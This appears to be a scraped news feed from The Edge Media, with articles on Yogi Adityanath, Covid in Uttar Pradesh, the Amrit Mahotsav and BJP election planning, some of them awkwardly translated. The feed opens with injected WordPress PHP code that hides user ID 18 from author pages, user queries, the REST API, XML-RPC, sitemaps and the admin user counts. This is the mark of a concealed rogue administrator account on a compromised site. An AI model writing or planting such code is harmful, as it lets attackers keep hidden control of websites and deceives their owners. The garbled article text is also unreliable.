add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post UP CM Yogi Adityanath visits Gautam Buddh Nagar to a review Covid facilities, vaccination drive appeared first on The Edge Media.
]]>Addressing the media on Sunday afternoon, Adityanath said that the government was strengthening Covid measures and making preparations to tackle the third wave of the pandemic whenever it hits. The CM’s visit is a part of a state-wide review of the Covid situation in various districts.
Adityanath said that 8,000 rapid response teams are working across the state to trace infections and prevent the virus from spreading. He also visited the Indira Gandhi Kala Kendra where a vaccination drive for media persons is taking place.
The focus of the CM’s visit will be on Covid management in rural areas including Jewar and Bisrakh among other villages. Adityanath will also interact with health officials and members of the administration to review testing facilities in these areas.
The post UP CM Yogi Adityanath visits Gautam Buddh Nagar to a review Covid facilities, vaccination drive appeared first on The Edge Media.
]]>The post Property of those spreading rumors and fake news should be confiscated: UP CM Yogi Adityanath appeared first on The Edge Media.
]]>
According to The Hindu’s report, Adityanath, in a high-level meeting with officials, under the NSA and the Gangsters Act against “anti-social elements” involved in the drug’s “black marketing”, spreading rumors and trying to tarnish the atmosphere Instructed to take action.
Uttar Pradesh Chief Minister Yogi Adityanath said on Saturday that there is no shortage of medical oxygen in any private or government Kovid hospital in the state. The Chief Minister also said that the state government, along with various institutions, will conduct an audit regarding this life-saving gas.
Yogi Adityanath said these things during an online conversation with the editors of various newspapers. The Chief Minister said that taking Corona virus like a normal viral fever would be a big mistake.
He said, ‘There is no shortage of oxygen in any covid hospital in the state. The problem is black marketing and hoarding, which will be dealt with vigorously.
We are going to do an oxygen audit with IIT Kanpur, IIM Lucknow and IIT BHU so that it can be properly monitored. The Chief Minister said, ‘Every infected patient does not need oxygen, cooperation is expected from the media to spread awareness about it.’
The post Property of those spreading rumors and fake news should be confiscated: UP CM Yogi Adityanath appeared first on The Edge Media.
]]>The post UP CM Yogi Adityanath Corona positive appeared first on The Edge Media.
]]> I am in self isolation and fully follow the advice of doctors. I am editing all tasks virtually.
CM Yogi has tweeted that all the activities of the state government are conducted normally.
Meanwhile, all those who have come in contact with me must do their investigation and take precaution. Please tell that earlier this morning, former Chief Minister Akhilesh Yadav has also found to be Corona positive. Apart from this, the Corona report of Ashutosh Tandon, a minister in the Yogi government has also come positive.
Chief Minister Yogi Adityanath had isolated himself from Tuesday itself. He was doing all his work virtually from his residence. He address the team 11 meeting to daily on the Corona situation on Tuesday.
The Chief Minister tweeted on Tuesday that some officials of his office have infected with Corona. This officer has been in contact with them, so they have isolated themselves as a precaution and are doing all the work virtually. Today CM’s report has also come positive.
UP ranked second in the country in case of corona infection UP ranks second in the country in terms of corona infection. According to the data, the number of corona cases confirmed daily in Uttar Pradesh has also increased by 204 percent in the last one week. There were 18021 new case reports in one day here on Tuesday.
This is the largest figure in the state so far. During the 24 hours, 85 covid patients died here. There are currently 95 thousand 980 positive cases in the state. Chief Minister Yogi Adityanath had isolated himself on Tuesday after several CM office officials were positive. Now his corona positive report has come.
While in isolation, CM Yogi has monitored the arrangements for the corona patients. More than 4000 ambulances are arrange for covid patients in UP.
Fixed corona test fees in private covid hospital Meanwhile, the Yogi government has once again fixed the fees for various investigations in non-government or private sector hospitals in view of the fast growing corona infection in the state.
This has done so that private hospitals and super private labs that provide super specialty treatment cannot charge arbitrary fees.
On Tuesday, the Additional Chief Secretary Medical and Health issued an order for the tariff rates. Private hospitals have also
warned that if they violate the order, action will be taken against them under the Pandemic Act.
The post UP CM Yogi Adityanath Corona positive appeared first on The Edge Media.
]]>The post Amrit festival celebrated in UP, know what Yogi said appeared first on The Edge Media.
]]>CM Yogi inaugurated the Amrit Mahotsav program at Kakori Shaheed Smarak. During this program, CM Yogi paid tribute to the martyrs by paying flowers. Let us tell you that the whole country celebrated the Independence as Amrit Mahotsav with pomp. Along with CM Yogi, many big leaders were also involved on this occasion.
Let us tell you that this grand program was started with the national anthem and 75 balloons were flown in the air. With this, the message of 75 completion of freedom was also gone. During this, PM Modi also joined the grand event virtually. According to the information received, CM Yogi said some important things in his address. He said that such an action plan should be made for the next 25 years that when India is celebrating its 100th anniversary of independence in 2047, then India should be considered as the best in the world at that time.
The post Amrit festival celebrated in UP, know what Yogi said appeared first on The Edge Media.
]]>The post BJP central election committee meeting tomorrow appeared first on The Edge Media.
]]>According to the information received, all political parties have started brainstorming in the names of their candidates. Meanwhile, the BJP Central Election Committee is once again convening a meeting to consider the names of BJP candidates. It is being speculated that Prime Minister Narendra Modi may also attend this meeting.According to the Election Commission, the voting date for all these five assembly elections has been announced.
According to this, voting will be held in eight phases in West Bengal, in three phases in Assam, in one phase in Tamil Nadu, Kerala and Puducherry. Let me tell you, the first phase of voting in West Bengal will be held on 27 March and for the last phase on 29 April. Assam will have the first phase of voting on March 27, while the final phase will be held on April 6. At the same time, votes will be cast in Tamil Nadu, Puducherry and Kerala on 6 April.
The post BJP central election committee meeting tomorrow appeared first on The Edge Media.
]]>